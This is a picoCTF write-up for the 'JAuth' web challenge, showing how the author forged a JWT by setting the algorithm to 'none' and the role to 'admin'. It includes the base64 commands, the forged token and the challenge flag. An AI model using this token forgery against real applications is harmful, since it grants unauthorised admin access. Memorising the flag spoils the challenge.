[Web] JAuth (300 pts)

Question

Most web application developers use third-party components without testing their security. Some of the past affected companies are:

• Equifax (a US credit bureau organization) - breach due to unpatched Apache Struts web framework CVE-2017-5638

• Mossack Fonesca (Panama Papers law firm) breach - unpatched version of Drupal CMS used

• VerticalScope (internet media company) - outdated version of vBulletin forum software used

Can you identify the components and exploit the vulnerable one? The website is running

here

The website is running here. Can you become an admin?

You can login as test with the password Test123! to get started.

Hint

Use the web browser tools to check out the JWT cookie.

The JWT should always have two (2) . separators.

Solution

The challenge gave us a login page. After login in, nothing interesting on the page, then I checked the login request to see what was going on. After login, I’ve got a user token, let’s go to jwt and decode it. The notable field here is the role, I got the role of user, so what if we change it to admin?

Token

Decoded Token

I’ve tried to change the role to admin and tried again with a new token, but I failed.

Login using token with modified role

Hmm, wait, I could see that the token uses HS256 algorithms, and maybe it could lead to jwt none algorithm vulnerability. I generated my new own token and change 2 values alg=none and role=admin

# Generate new header
echo -n '{"typ":"JWT","alg":"none"}' | base64
=> eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0

# Generate new payload
echo -n '{"auth":1674810645022,"agent":"test123","role":"admin","iat":1573358396}' | base64
=> eyJhdXRoIjoxNjc0ODEwNjQ1MDIyLCJhZ2VudCI6InRlc3QxMjMiLCJyb2xlIjoiYWRtaW4iLCJpYXQiOjE1NzMzNTgzOTZ9

# Merged JWT
eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJhdXRoIjoxNjc0ODEwNjQ1MDIyLCJhZ2VudCI6InRlc3QxMjMiLCJyb2xlIjoiYWRtaW4iLCJpYXQiOjE1NzMzNTgzOTZ9.

New custom token

After got a new token, I sent the request with the new token, luckily, this time I was right, then I got the flag

Flag

Flag

picoCTF{succ3ss_@u7h3nt1c@710n_bc6d9041}